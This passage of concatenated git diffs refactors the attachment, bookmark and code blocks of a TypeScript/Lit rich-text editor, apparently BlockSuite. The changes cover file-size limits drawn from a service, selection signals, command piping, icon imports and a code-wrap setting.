const FileTypeIcon = getAttachmentFileIcon(fileType);
const embedView = this.embedView;

View File

@@ -35,7 +35,7 @@ export class AttachmentEdgelessBlockComponent extends toGfxBlockComponent(
this.slots.elementResizeEnd.on(() => {
this._isResizing = false;
this._showOverlay =
this._isResizing || this._isDragging || !this._isSelected;
this._isResizing || this._isDragging || !this.selected$.peek();
})
);
}

View File

@@ -1,24 +1,18 @@
import { FileDropConfigExtension } from '@blocksuite/affine-components/drag-indicator';
import { SurfaceBlockModel } from '@blocksuite/affine-block-surface';
import { FileDropConfigExtension } from '@blocksuite/affine-components/drop-indicator';
import { AttachmentBlockSchema } from '@blocksuite/affine-model';
import { TelemetryProvider } from '@blocksuite/affine-shared/services';
import {
FileSizeLimitService,
TelemetryProvider,
} from '@blocksuite/affine-shared/services';
import {
isInsideEdgelessEditor,
matchFlavours,
matchModels,
} from '@blocksuite/affine-shared/utils';
import { BlockService } from '@blocksuite/block-std';
import { GfxControllerIdentifier } from '@blocksuite/block-std/gfx';
import { addAttachments, addSiblingAttachmentBlocks } from './utils.js';
// bytes.parse('2GB')
const maxFileSize = 2147483648;
export class AttachmentBlockService extends BlockService {
static override readonly flavour = AttachmentBlockSchema.model.flavour;
maxFileSize = maxFileSize;
}
export const AttachmentDropOption = FileDropConfigExtension({
flavour: AttachmentBlockSchema.model.flavour,
onDrop: ({ files, targetModel, placement, point, std }) => {
@@ -28,11 +22,12 @@ export const AttachmentDropOption = FileDropConfigExtension({
);
if (!attachmentFiles.length) return false;
if (targetModel && !matchFlavours(targetModel, ['affine:surface'])) {
const maxFileSize = std.store.get(FileSizeLimitService).maxFileSize;
if (targetModel && !matchModels(targetModel, [SurfaceBlockModel])) {
addSiblingAttachmentBlocks(
std.host,
attachmentFiles,
// TODO: use max file size from service
maxFileSize,
targetModel,
placement

View File

@@ -3,10 +3,7 @@ import type { ExtensionType } from '@blocksuite/store';
import { literal } from 'lit/static-html.js';
import { AttachmentBlockNotionHtmlAdapterExtension } from './adapters/notion-html.js';
import {
AttachmentBlockService,
AttachmentDropOption,
} from './attachment-service.js';
import { AttachmentDropOption } from './attachment-service.js';
import {
AttachmentEmbedConfigExtension,
AttachmentEmbedService,
@@ -14,7 +11,6 @@ import {
export const AttachmentBlockSpec: ExtensionType[] = [
FlavourExtension('affine:attachment'),
AttachmentBlockService,
BlockViewExtension('affine:attachment', model => {
return model.parent?.flavour === 'affine:surface'
? literal`affine-edgeless-attachment`

View File

@@ -2,8 +2,6 @@ import {
CaptionIcon,
DownloadIcon,
EditIcon,
MoreVerticalIcon,
SmallArrowDownIcon,
} from '@blocksuite/affine-components/icons';
import { createLitPortal } from '@blocksuite/affine-components/portal';
import {
@@ -21,6 +19,7 @@ import {
EMBED_CARD_WIDTH,
} from '@blocksuite/affine-shared/consts';
import { Bound } from '@blocksuite/global/utils';
import { ArrowDownSmallIcon, MoreVerticalIcon } from '@blocksuite/icons/lit';
import { flip, offset } from '@floating-ui/dom';
import { html, nothing } from 'lit';
import { join } from 'lit/directives/join.js';
@@ -88,7 +87,7 @@ export function attachmentViewToggleMenu({
<span style="text-transform: capitalize">${viewType}</span>
view
</div>
${SmallArrowDownIcon}
${ArrowDownSmallIcon({ width: '16px', height: '16px' })}
</editor-icon-button>
`}
>
@@ -200,8 +199,12 @@ export function AttachmentOptionsTemplate({
<editor-menu-button
.contentPadding=${'8px'}
.button=${html`
<editor-icon-button aria-label="More" .tooltip=${'More'}>
${MoreVerticalIcon}
<editor-icon-button
aria-label="More"
.tooltip=${'More'}
.iconSize=${'20px'}
>
${MoreVerticalIcon()}
</editor-icon-button>
`}
>

View File

@@ -1,6 +1,5 @@
import { AttachmentBlockComponent } from './attachment-block';
import { AttachmentEdgelessBlockComponent } from './attachment-edgeless-block';
import type { AttachmentBlockService } from './attachment-service';
export function effects() {
customElements.define(
@@ -9,11 +8,3 @@ export function effects() {
);
customElements.define('affine-attachment', AttachmentBlockComponent);
}
declare global {
namespace BlockSuite {
interface BlockServices {
'affine:attachment': AttachmentBlockService;
}
}
}

View File

@@ -1,18 +1,25 @@
import type {
AttachmentBlockModel,
ImageBlockProps,
} from '@blocksuite/affine-model';
import {
type AttachmentBlockModel,
type ImageBlockProps,
MAX_IMAGE_WIDTH,
} from '@blocksuite/affine-model';
import { FileSizeLimitService } from '@blocksuite/affine-shared/services';
import {
readImageSize,
transformModel,
withTempBlobData,
} from '@blocksuite/affine-shared/utils';
import { type BlockStdScope, StdIdentifier } from '@blocksuite/block-std';
import type { Container } from '@blocksuite/global/di';
import { createIdentifier } from '@blocksuite/global/di';
import { Bound } from '@blocksuite/global/utils';
import type { ExtensionType } from '@blocksuite/store';
import { Extension } from '@blocksuite/store';
import type { TemplateResult } from 'lit';
import { html } from 'lit';
import { getAttachmentBlob } from './utils';
export type AttachmentEmbedConfig = {
name: string;
/**
@@ -22,7 +29,10 @@ export type AttachmentEmbedConfig = {
/**
* The action will be executed when the 「Turn into embed view」 button is clicked.
*/
action?: (model: AttachmentBlockModel) => Promise<void> | void;
action?: (
model: AttachmentBlockModel,
std: BlockStdScope
) => Promise<void> | void;
/**
* The template will be used to render the embed view.
*/
@@ -57,8 +67,9 @@ export const AttachmentEmbedProvider = createIdentifier<AttachmentEmbedService>(
);
export class AttachmentEmbedService extends Extension {
// 10MB
static MAX_EMBED_SIZE = 10 * 1024 * 1024;
private get _maxFileSize() {
return this.std.store.get(FileSizeLimitService).maxFileSize;
}
get keys() {
return this.configs.keys();
@@ -68,7 +79,11 @@ export class AttachmentEmbedService extends Extension {
return this.configs.values();
}
constructor(private readonly configs: Map<string, AttachmentEmbedConfig>) {
get configs(): Map<string, AttachmentEmbedConfig> {
return this.std.get(AttachmentEmbedConfigMapIdentifier);
}
constructor(private readonly std: BlockStdScope) {
super();
}
@@ -76,35 +91,27 @@ export class AttachmentEmbedService extends Extension {
di.addImpl(AttachmentEmbedConfigMapIdentifier, provider =>
provider.getAll(AttachmentEmbedConfigIdentifier)
);
di.addImpl(AttachmentEmbedProvider, AttachmentEmbedService, [
AttachmentEmbedConfigMapIdentifier,
]);
di.addImpl(AttachmentEmbedProvider, this, [StdIdentifier]);
}
// Converts to embed view.
convertTo(
model: AttachmentBlockModel,
maxFileSize = AttachmentEmbedService.MAX_EMBED_SIZE
) {
convertTo(model: AttachmentBlockModel, maxFileSize = this._maxFileSize) {
const config = this.values.find(config => config.check(model, maxFileSize));
if (!config || !config.action) {
if (!config?.action) {
model.doc.updateBlock(model, { embed: true });
return;
}
config.action(model)?.catch(console.error);
config.action(model, this.std)?.catch(console.error);
}
embedded(
model: AttachmentBlockModel,
maxFileSize = AttachmentEmbedService.MAX_EMBED_SIZE
) {
embedded(model: AttachmentBlockModel, maxFileSize = this._maxFileSize) {
return this.values.some(config => config.check(model, maxFileSize));
}
render(
model: AttachmentBlockModel,
blobUrl?: string,
maxFileSize = AttachmentEmbedService.MAX_EMBED_SIZE
maxFileSize = this._maxFileSize
) {
if (!model.embed || !blobUrl) return;
@@ -124,7 +131,12 @@ const embedConfig: AttachmentEmbedConfig[] = [
check: model =>
model.doc.schema.flavourSchemaMap.has('affine:image') &&
model.type.startsWith('image/'),
action: model => turnIntoImageBlock(model),
async action(model, std) {
const component = std.view.getBlock(model.id);
if (!component) return;
await turnIntoImageBlock(model);
},
},
{
name: 'pdf',
@@ -152,7 +164,13 @@ const embedConfig: AttachmentEmbedConfig[] = [
check: (model, maxFileSize) =>
model.type.startsWith('video/') && model.size <= maxFileSize,
template: (_, blobUrl) =>
html`<video width="100%;" height="480" controls src=${blobUrl}></video>`,
html`<video
style="max-height: max-content;"
width="100%;"
height="480"
controls
src=${blobUrl}
></video>`,
},
{
name: 'audio',
@@ -166,7 +184,7 @@ const embedConfig: AttachmentEmbedConfig[] = [
/**
* Turn the attachment block into an image block.
*/
export function turnIntoImageBlock(model: AttachmentBlockModel) {
export async function turnIntoImageBlock(model: AttachmentBlockModel) {
if (!model.doc.schema.flavourSchemaMap.has('affine:image')) {
console.error('The image flavour is not supported!');
return;
@@ -178,15 +196,37 @@ export function turnIntoImageBlock(model: AttachmentBlockModel) {
const { saveAttachmentData, getImageData } = withTempBlobData();
saveAttachmentData(sourceId, { name: model.name });
const imageConvertData = model.sourceId
? getImageData(model.sourceId)
let imageSize = model.sourceId ? getImageData(model.sourceId) : undefined;
const bounds = model.xywh
? Bound.fromXYWH(model.deserializedXYWH)
: undefined;
if (bounds) {
if (!imageSize?.width || !imageSize?.height) {
const blob = await getAttachmentBlob(model);
if (blob) {
imageSize = await readImageSize(blob);
}
}
if (imageSize?.width && imageSize?.height) {
const p = imageSize.height / imageSize.width;
imageSize.width = Math.min(imageSize.width, MAX_IMAGE_WIDTH);
imageSize.height = imageSize.width * p;
bounds.w = imageSize.width;
bounds.h = imageSize.height;
}
}
const others = bounds ? { xywh: bounds.serialize() } : undefined;
const imageProp: Partial<ImageBlockProps> = {
sourceId,
caption: model.caption,
size: model.size,
...imageConvertData,
...imageSize,
...others,
};
transformModel(model, 'affine:image', imageProp);
}

View File

@@ -1,7 +1,3 @@
import type * as SurfaceEffects from '@blocksuite/affine-block-surface/effects';
declare type _GLOBAL_ = typeof SurfaceEffects;
export * from './adapters/notion-html';
export * from './attachment-block';
export * from './attachment-service';

View File

@@ -1,7 +1,3 @@
import {
EMBED_CARD_HEIGHT,
EMBED_CARD_WIDTH,
} from '@blocksuite/affine-shared/consts';
import { css } from 'lit';
export const styles = css`
@@ -12,7 +8,7 @@ export const styles = css`
gap: 12px;
width: 100%;
height: ${EMBED_CARD_HEIGHT.horizontalThin}px;
height: 100%;
padding: 12px;
border-radius: 8px;
@@ -121,9 +117,6 @@ export const styles = css`
}
.affine-attachment-card.cubeThick {
width: ${EMBED_CARD_WIDTH.cubeThick}px;
height: ${EMBED_CARD_HEIGHT.cubeThick}px;
flex-direction: column-reverse;
.affine-attachment-content {

View File

@@ -8,7 +8,10 @@ import {
EMBED_CARD_HEIGHT,
EMBED_CARD_WIDTH,
} from '@blocksuite/affine-shared/consts';
import { TelemetryProvider } from '@blocksuite/affine-shared/services';
import {
FileSizeLimitService,
TelemetryProvider,
} from '@blocksuite/affine-shared/services';
import { humanFileSize } from '@blocksuite/affine-shared/utils';
import type { BlockStdScope, EditorHost } from '@blocksuite/block-std';
import { GfxControllerIdentifier } from '@blocksuite/block-std/gfx';
@@ -94,7 +97,7 @@ export async function uploadAttachmentBlob(
}
}
async function getAttachmentBlob(model: AttachmentBlockModel) {
export async function getAttachmentBlob(model: AttachmentBlockModel) {
const sourceId = model.sourceId;
if (!sourceId) {
return null;
@@ -212,7 +215,8 @@ export async function addSiblingAttachmentBlocks(
files: File[],
maxFileSize: number,
targetModel: BlockModel,
place: 'before' | 'after' = 'after'
place: 'before' | 'after' = 'after',
isEmbed?: boolean
) {
if (!files.length) {
return;
@@ -242,6 +246,7 @@ export async function addSiblingAttachmentBlocks(
name: file.name,
size: file.size,
type: types[index],
embed: isEmbed,
}));
const blockIds = doc.addSiblingBlocks(
@@ -261,18 +266,13 @@ export async function addSiblingAttachmentBlocks(
export async function addAttachments(
std: BlockStdScope,
files: File[],
point?: IVec
point?: IVec,
transformPoint?: boolean // determines whether we should use `toModelCoord` to convert the point
): Promise<string[]> {
if (!files.length) return [];
const attachmentService = std.getService('affine:attachment');
const gfx = std.get(GfxControllerIdentifier);
if (!attachmentService) {
console.error('Attachment service not found');
return [];
}
const maxFileSize = attachmentService.maxFileSize;
const maxFileSize = std.store.get(FileSizeLimitService).maxFileSize;
const isSizeExceeded = files.some(file => file.size > maxFileSize);
if (isSizeExceeded) {
toast(
@@ -287,7 +287,14 @@ export async function addAttachments(
}
let { x, y } = gfx.viewport.center;
if (point) [x, y] = gfx.viewport.toModelCoord(...point);
if (point) {
let transform = transformPoint ?? true;
if (transform) {
[x, y] = gfx.viewport.toModelCoord(...point);
} else {
[x, y] = point;
}
}
const CARD_STACK_GAP = 32;

View File

@@ -14,7 +14,6 @@
"license": "MIT",
"dependencies": {
"@blocksuite/affine-block-embed": "workspace:*",
"@blocksuite/affine-block-surface": "workspace:*",
"@blocksuite/affine-components": "workspace:*",
"@blocksuite/affine-model": "workspace:*",
"@blocksuite/affine-shared": "workspace:*",
@@ -26,7 +25,7 @@
"@floating-ui/dom": "^1.6.10",
"@lit/context": "^1.1.2",
"@preact/signals-core": "^1.8.0",
"@toeverything/theme": "^1.1.7",
"@toeverything/theme": "^1.1.11",
"lit": "^3.2.0",
"minimatch": "^10.0.1",
"zod": "^3.23.8"

View File

@@ -4,10 +4,10 @@ import {
} from '@blocksuite/affine-components/caption';
import type { BookmarkBlockModel } from '@blocksuite/affine-model';
import { DocModeProvider } from '@blocksuite/affine-shared/services';
import { BlockSelection } from '@blocksuite/block-std';
import { computed, type ReadonlySignal } from '@preact/signals-core';
import { html } from 'lit';
import { property, query } from 'lit/decorators.js';
import { classMap } from 'lit/directives/class-map.js';
import { type ClassInfo, classMap } from 'lit/directives/class-map.js';
import { type StyleInfo, styleMap } from 'lit/directives/style-map.js';
import { refreshBookmarkUrlData } from './utils.js';
@@ -15,6 +15,12 @@ import { refreshBookmarkUrlData } from './utils.js';
export const BOOKMARK_MIN_WIDTH = 450;
export class BookmarkBlockComponent extends CaptionedBlockComponent<BookmarkBlockModel> {
selectedStyle$: ReadonlySignal<ClassInfo> | null = computed<ClassInfo>(
() => ({
'selected-style': this.selected$.value,
})
);
private _fetchAbortController?: AbortController;
blockDraggable = true;
@@ -70,13 +76,12 @@ export class BookmarkBlockComponent extends CaptionedBlockComponent<BookmarkBloc
}
override renderBlock() {
const selected = !!this.selected?.is(BlockSelection);
return html`
<div
draggable="${this.blockDraggable ? 'true' : 'false'}"
class=${classMap({
'affine-bookmark-container': true,
'selected-style': selected,
...this.selectedStyle$?.value,
})}
style=${this.containerStyleMap}
>

View File

@@ -3,13 +3,15 @@ import {
EMBED_CARD_WIDTH,
} from '@blocksuite/affine-shared/consts';
import { toGfxBlockComponent } from '@blocksuite/block-std';
import { styleMap } from 'lit/directives/style-map.js';
import { type StyleInfo, styleMap } from 'lit/directives/style-map.js';
import { BookmarkBlockComponent } from './bookmark-block.js';
export class BookmarkEdgelessBlockComponent extends toGfxBlockComponent(
BookmarkBlockComponent
) {
override selectedStyle$ = null;
override blockDraggable = false;
override getRenderingRect() {
@@ -43,7 +45,9 @@ export class BookmarkEdgelessBlockComponent extends toGfxBlockComponent(
return this.renderPageContent();
}
protected override accessor blockContainerStyles = {};
protected override accessor blockContainerStyles: StyleInfo = {
height: '100%',
};
}
declare global {

View File

@@ -1,17 +1,11 @@
import {
BlockViewExtension,
CommandExtension,
FlavourExtension,
} from '@blocksuite/block-std';
import { BlockViewExtension, FlavourExtension } from '@blocksuite/block-std';
import type { ExtensionType } from '@blocksuite/store';
import { literal } from 'lit/static-html.js';
import { BookmarkBlockAdapterExtensions } from './adapters/extension.js';
import { commands } from './commands/index.js';
export const BookmarkBlockSpec: ExtensionType[] = [
FlavourExtension('affine:bookmark'),
CommandExtension(commands),
BlockViewExtension('affine:bookmark', model => {
return model.parent?.flavour === 'affine:surface'
? literal`affine-edgeless-bookmark`

View File

@@ -1,9 +1,2 @@
import type { BlockCommands } from '@blocksuite/block-std';
import { insertBookmarkCommand } from './insert-bookmark.js';
import { insertLinkByQuickSearchCommand } from './insert-link-by-quick-search.js';
export const commands: BlockCommands = {
insertBookmark: insertBookmarkCommand,
insertLinkByQuickSearch: insertLinkByQuickSearchCommand,
};
export { insertBookmarkCommand } from './insert-bookmark.js';
export { insertLinkByQuickSearchCommand } from './insert-link-by-quick-search.js';

View File

@@ -5,11 +5,7 @@ import type { EmbedCardStyle } from '@blocksuite/affine-model';
import { EmbedOptionProvider } from '@blocksuite/affine-shared/services';
import type { Command } from '@blocksuite/block-std';
export const insertBookmarkCommand: Command<
never,
'insertedLinkType',
{ url: string }
> = (ctx, next) => {
export const insertBookmarkCommand: Command<{ url: string }> = (ctx, next) => {
const { url, std } = ctx;
const embedOptions = std.get(EmbedOptionProvider).getEmbedBlockOptions(url);

View File

@@ -1,10 +1,15 @@
import type { InsertedLinkType } from '@blocksuite/affine-block-embed';
import {
type InsertedLinkType,
insertEmbedLinkedDocCommand,
} from '@blocksuite/affine-block-embed';
import { QuickSearchProvider } from '@blocksuite/affine-shared/services';
import type { Command } from '@blocksuite/block-std';
import { insertBookmarkCommand } from './insert-bookmark';
export const insertLinkByQuickSearchCommand: Command<
never,
'insertedLinkType'
{},
{ insertedLinkType: Promise<InsertedLinkType> }
> = (ctx, next) => {
const { std } = ctx;
const quickSearchService = std.getOptional(QuickSearchProvider);
@@ -20,7 +25,7 @@ export const insertLinkByQuickSearchCommand: Command<
// add linked doc
if ('docId' in result) {
std.command.exec('insertEmbedLinkedDoc', {
std.command.exec(insertEmbedLinkedDocCommand, {
docId: result.docId,
params: result.params,
});
@@ -31,7 +36,7 @@ export const insertLinkByQuickSearchCommand: Command<
// add normal link;
if ('externalUrl' in result) {
std.command.exec('insertBookmark', { url: result.externalUrl });
std.command.exec(insertBookmarkCommand, { url: result.externalUrl });
return {
flavour: 'affine:bookmark',
};

View File

@@ -2,15 +2,11 @@ import { getEmbedCardIcons } from '@blocksuite/affine-block-embed';
import { WebIcon16 } from '@blocksuite/affine-components/icons';
import { ThemeProvider } from '@blocksuite/affine-shared/services';
import { getHostName } from '@blocksuite/affine-shared/utils';
import {
BlockSelection,
ShadowlessElement,
SurfaceSelection,
} from '@blocksuite/block-std';
import { BlockSelection, ShadowlessElement } from '@blocksuite/block-std';
import { WithDisposable } from '@blocksuite/global/utils';
import { OpenInNewIcon } from '@blocksuite/icons/lit';
import { html } from 'lit';
import { property, state } from 'lit/decorators.js';
import { property } from 'lit/decorators.js';
import { classMap } from 'lit/directives/class-map.js';
import type { BookmarkBlockComponent } from '../bookmark-block.js';
@@ -55,14 +51,6 @@ export class BookmarkCard extends WithDisposable(ShadowlessElement) {
.get(ThemeProvider)
.theme$.subscribe(() => this.requestUpdate())
);
this.disposables.add(
this.bookmark.selection.slots.changed.on(() => {
this._isSelected =
!!this.bookmark.selected?.is(BlockSelection) ||
!!this.bookmark.selected?.is(SurfaceSelection);
})
);
}
override render() {
@@ -72,7 +60,7 @@ export class BookmarkCard extends WithDisposable(ShadowlessElement) {
loading: this.loading,
error: this.error,
[style]: true,
selected: this._isSelected,
selected: this.bookmark.selected$.value,
});
const domainName = url.match(
@@ -148,9 +136,6 @@ export class BookmarkCard extends WithDisposable(ShadowlessElement) {
`;
}
@state()
private accessor _isSelected = false;
@property({ attribute: false })
accessor bookmark!: BookmarkBlockComponent;

View File

@@ -1,4 +0,0 @@
export * from './embed-card-caption-edit-modal';
export * from './embed-card-create-modal';
export * from './embed-card-edit-modal';
export * from './type';

View File

@@ -1,2 +1 @@
export * from './bookmark-card';
export * from './embed-card-modal';

View File

@@ -1,13 +1,6 @@
import { BookmarkBlockComponent } from './bookmark-block';
import { BookmarkEdgelessBlockComponent } from './bookmark-edgeless-block';
import type { insertBookmarkCommand } from './commands/insert-bookmark';
import type { insertLinkByQuickSearchCommand } from './commands/insert-link-by-quick-search';
import { BookmarkCard } from './components/bookmark-card';
import {
EmbedCardCreateModal,
EmbedCardEditCaptionEditModal,
EmbedCardEditModal,
} from './components/embed-card-modal';
export function effects() {
customElements.define(
@@ -16,20 +9,4 @@ export function effects() {
);
customElements.define('affine-bookmark', BookmarkBlockComponent);
customElements.define('bookmark-card', BookmarkCard);
customElements.define('embed-card-create-modal', EmbedCardCreateModal);
customElements.define('embed-card-edit-modal', EmbedCardEditModal);
customElements.define(
'embed-card-caption-edit-modal',
EmbedCardEditCaptionEditModal
);
}
declare global {
namespace BlockSuite {
interface Commands {
insertBookmark: typeof insertBookmarkCommand;
insertLinkByQuickSearch: typeof insertLinkByQuickSearchCommand;
}
}
}

View File

@@ -1,4 +1,5 @@
export * from './adapters';
export * from './bookmark-block';
export * from './bookmark-spec';
export * from './commands';
export * from './components';

View File

@@ -1,19 +1,20 @@
import {
EMBED_CARD_HEIGHT,
EMBED_CARD_WIDTH,
} from '@blocksuite/affine-shared/consts';
import { unsafeCSSVar } from '@blocksuite/affine-shared/theme';
import { baseTheme } from '@toeverything/theme';
import { css, unsafeCSS } from 'lit';
export const styles = css`
bookmark-card {
display: block;
height: 100%;
width: 100%;
}
.affine-bookmark-card {
container: affine-bookmark-card / inline-size;
margin: 0 auto;
box-sizing: border-box;
display: flex;
width: 100%;
height: ${EMBED_CARD_HEIGHT.horizontal}px;
border-radius: 8px;
border: 1px solid var(--affine-background-tertiary-color);
@@ -187,8 +188,6 @@ export const styles = css`
}
.affine-bookmark-card.list {
height: ${EMBED_CARD_HEIGHT.list}px;
.affine-bookmark-content {
width: 100%;
flex-direction: row;
@@ -215,9 +214,8 @@ export const styles = css`
}
.affine-bookmark-card.vertical {
width: ${EMBED_CARD_WIDTH.vertical}px;
height: ${EMBED_CARD_HEIGHT.vertical}px;
flex-direction: column-reverse;
height: 100%;
.affine-bookmark-content {
width: 100%;
@@ -248,9 +246,6 @@ export const styles = css`
}
.affine-bookmark-card.cube {
width: ${EMBED_CARD_WIDTH.cube}px;
height: ${EMBED_CARD_HEIGHT.cube}px;
.affine-bookmark-content {
width: 100%;
flex-direction: column;

View File

@@ -8,7 +8,6 @@
"include": ["./src"],
"references": [
{ "path": "../block-embed" },
{ "path": "../block-surface" },
{ "path": "../components" },
{ "path": "../model" },
{ "path": "../shared" },

View File

@@ -18,12 +18,13 @@
"@blocksuite/affine-shared": "workspace:*",
"@blocksuite/block-std": "workspace:*",
"@blocksuite/global": "workspace:*",
"@blocksuite/icons": "^2.2.3",
"@blocksuite/inline": "workspace:*",
"@blocksuite/store": "workspace:*",
"@floating-ui/dom": "^1.6.10",
"@lit/context": "^1.1.2",
"@preact/signals-core": "^1.8.0",
"@toeverything/theme": "^1.1.7",
"@toeverything/theme": "^1.1.11",
"@types/mdast": "^4.0.4",
"lit": "^3.2.0",
"minimatch": "^10.0.1",

View File

@@ -2,6 +2,7 @@ import { CodeBlockSchema } from '@blocksuite/affine-model';
import {
BlockHtmlAdapterExtension,
type BlockHtmlAdapterMatcher,
CODE_BLOCK_WRAP_KEY,
HastUtils,
} from '@blocksuite/affine-shared/adapters';
import type { DeltaInsert } from '@blocksuite/inline';
@@ -37,7 +38,8 @@ export const codeBlockHtmlAdapterMatcher: BlockHtmlAdapterMatcher = {
? codeLang.replace('code-', '')
: undefined;
const { walkerContext, deltaConverter } = context;
const { walkerContext, deltaConverter, configs } = context;
const wrap = configs.get(CODE_BLOCK_WRAP_KEY) === 'true';
walkerContext
.openNode(
{
@@ -46,6 +48,7 @@ export const codeBlockHtmlAdapterMatcher: BlockHtmlAdapterMatcher = {
flavour: 'affine:code',
props: {
language: codeLang ?? 'Plain Text',
wrap,
text: {
'$blocksuite:internal:text$': true,
delta: deltaConverter.astToDelta(codeText, {

View File

@@ -2,6 +2,7 @@ import { CodeBlockSchema } from '@blocksuite/affine-model';
import {
BlockMarkdownAdapterExtension,
type BlockMarkdownAdapterMatcher,
CODE_BLOCK_WRAP_KEY,
type MarkdownAST,
} from '@blocksuite/affine-shared/adapters';
import type { DeltaInsert } from '@blocksuite/inline';
@@ -19,7 +20,8 @@ export const codeBlockMarkdownAdapterMatcher: BlockMarkdownAdapterMatcher = {
if (!isCodeNode(o.node)) {
return;
}
const { walkerContext } = context;
const { walkerContext, configs } = context;
const wrap = configs.get(CODE_BLOCK_WRAP_KEY) === 'true';
walkerContext
.openNode(
{
@@ -28,6 +30,7 @@ export const codeBlockMarkdownAdapterMatcher: BlockMarkdownAdapterMatcher = {
flavour: 'affine:code',
props: {
language: o.node.lang ?? 'Plain Text',
wrap,
text: {
'$blocksuite:internal:text$': true,
delta: [

View File

@@ -2,6 +2,7 @@ import { CodeBlockSchema } from '@blocksuite/affine-model';
import {
BlockNotionHtmlAdapterExtension,
type BlockNotionHtmlAdapterMatcher,
CODE_BLOCK_WRAP_KEY,
HastUtils,
} from '@blocksuite/affine-shared/adapters';
import { nanoid } from '@blocksuite/store';
@@ -20,7 +21,8 @@ export const codeBlockNotionHtmlAdapterMatcher: BlockNotionHtmlAdapterMatcher =
if (!code) {
return;
}
const { walkerContext, deltaConverter } = context;
const { walkerContext, deltaConverter, configs } = context;
const wrap = configs.get(CODE_BLOCK_WRAP_KEY) === 'true';
const codeText =
code.children.length === 1 && code.children[0].type === 'text'
? code.children[0]
@@ -33,6 +35,7 @@ export const codeBlockNotionHtmlAdapterMatcher: BlockNotionHtmlAdapterMatcher =
flavour: CodeBlockSchema.model.flavour,
props: {
language: 'Plain Text',
wrap,
text: {
'$blocksuite:internal:text$': true,
delta: deltaConverter.astToDelta(codeText, {

View File

@@ -1,8 +1,14 @@
import { deleteTextCommand } from '@blocksuite/affine-components/rich-text';
import {
HtmlAdapter,
pasteMiddleware,
PlainTextAdapter,
} from '@blocksuite/affine-shared/adapters';
import {
getBlockIndexCommand,
getBlockSelectionsCommand,
getTextSelectionCommand,
} from '@blocksuite/affine-shared/commands';
import {
type BlockComponent,
Clipboard,
@@ -40,13 +46,13 @@ export class CodeClipboardController {
this._std.command
.chain()
.try(cmd => [
cmd.getTextSelection().inline<'currentSelectionPath'>((ctx, next) => {
cmd.pipe(getTextSelectionCommand).pipe((ctx, next) => {
const textSelection = ctx.currentTextSelection;
if (!textSelection) return;
const end = textSelection.to ?? textSelection.from;
next({ currentSelectionPath: end.blockId });
}),
cmd.getBlockSelections().inline<'currentSelectionPath'>((ctx, next) => {
cmd.pipe(getBlockSelectionsCommand).pipe((ctx, next) => {
const currentBlockSelections = ctx.currentBlockSelections;
if (!currentBlockSelections) return;
const blockSelection = currentBlockSelections.at(-1);
@@ -54,9 +60,9 @@ export class CodeClipboardController {
next({ currentSelectionPath: blockSelection.blockId });
}),
])
.getBlockIndex()
.try(cmd => [cmd.getTextSelection().deleteText()])
.inline((ctx, next) => {
.pipe(getBlockIndexCommand)
.try(cmd => [cmd.pipe(getTextSelectionCommand).pipe(deleteTextCommand)])
.pipe((ctx, next) => {
if (!ctx.parentBlock) {
return;
}

View File

@@ -1,3 +1,4 @@
import { ConfigExtensionFactory } from '@blocksuite/block-std';
import type { BundledLanguageInfo, ThemeInput } from 'shiki';
export interface CodeBlockConfig {
@@ -13,3 +14,6 @@ export interface CodeBlockConfig {
*/
showLineNumbers?: boolean;
}
export const CodeBlockConfigExtension =
ConfigExtensionFactory<CodeBlockConfig>('affine:code');

View File

@@ -12,6 +12,7 @@ import {
} from 'shiki';
import getWasm from 'shiki/wasm';
import { CodeBlockConfigExtension } from './code-block-config.js';
import {
CODE_BLOCK_DEFAULT_DARK_THEME,
CODE_BLOCK_DEFAULT_LIGHT_THEME,
@@ -27,7 +28,10 @@ export class CodeBlockService extends BlockService {
highlighter$: Signal<HighlighterCore | null> = signal(null);
get langs() {
return this.std.getConfig('affine:code')?.langs ?? bundledLanguagesInfo;
return (
this.std.getOptional(CodeBlockConfigExtension.identifier)?.langs ??
bundledLanguagesInfo
);
}
get themeKey() {
@@ -46,7 +50,9 @@ export class CodeBlockService extends BlockService {
engine: createOnigurumaEngine(() => getWasm),
})
.then(async highlighter => {
const config = this.std.getConfig('affine:code');
const config = this.std.getOptional(
CodeBlockConfigExtension.identifier
);
const darkTheme = config?.theme?.dark ?? CODE_BLOCK_DEFAULT_DARK_THEME;
const lightTheme =
config?.theme?.light ?? CODE_BLOCK_DEFAULT_LIGHT_THEME;

View File

@@ -1,7 +1,7 @@
import {
BlockViewExtension,
FlavourExtension,
WidgetViewMapExtension,
WidgetViewExtension,
} from '@blocksuite/block-std';
import type { ExtensionType } from '@blocksuite/store';
import { literal, unsafeStatic } from 'lit/static-html.js';
@@ -14,13 +14,17 @@ import {
import { CodeBlockService } from './code-block-service.js';
import { AFFINE_CODE_TOOLBAR_WIDGET } from './code-toolbar/index.js';
export const codeToolbarWidget = WidgetViewExtension(
'affine:code',
AFFINE_CODE_TOOLBAR_WIDGET,
literal`${unsafeStatic(AFFINE_CODE_TOOLBAR_WIDGET)}`
);
export const CodeBlockSpec: ExtensionType[] = [
FlavourExtension('affine:code'),
CodeBlockService,
BlockViewExtension('affine:code', literal`affine-code`),
WidgetViewMapExtension('affine:code', {
codeToolbar: literal`${unsafeStatic(AFFINE_CODE_TOOLBAR_WIDGET)}`,
}),
codeToolbarWidget,
CodeBlockInlineManagerExtension,
CodeBlockUnitSpecExtension,
CodeBlockAdapterExtensions,

View File

@@ -32,6 +32,7 @@ import { classMap } from 'lit/directives/class-map.js';
import type { ThemedToken } from 'shiki';
import { CodeClipboardController } from './clipboard/index.js';
import { CodeBlockConfigExtension } from './code-block-config.js';
import { CodeBlockInlineManagerExtension } from './code-block-inline.js';
import type { CodeBlockService } from './code-block-service.js';
import { codeBlockStyles } from './styles.js';
@@ -383,7 +384,8 @@ export class CodeBlockComponent extends CaptionedBlockComponent<
override renderBlock(): TemplateResult<1> {
const showLineNumbers =
this.std.getConfig('affine:code')?.showLineNumbers ?? true;
this.std.getOptional(CodeBlockConfigExtension.identifier)
?.showLineNumbers ?? true;
return html`
<div

View File

@@ -1,4 +1,3 @@
import { MoreVerticalIcon } from '@blocksuite/affine-components/icons';
import { createLitPortal } from '@blocksuite/affine-components/portal';
import type {
EditorIconButton,
@@ -6,6 +5,7 @@ import type {
} from '@blocksuite/affine-components/toolbar';
import { renderGroups } from '@blocksuite/affine-components/toolbar';
import { noop, WithDisposable } from '@blocksuite/global/utils';
import { MoreVerticalIcon } from '@blocksuite/icons/lit';
import { flip, offset } from '@floating-ui/dom';
import { css, html, LitElement } from 'lit';
import { property, query, state } from 'lit/decorators.js';
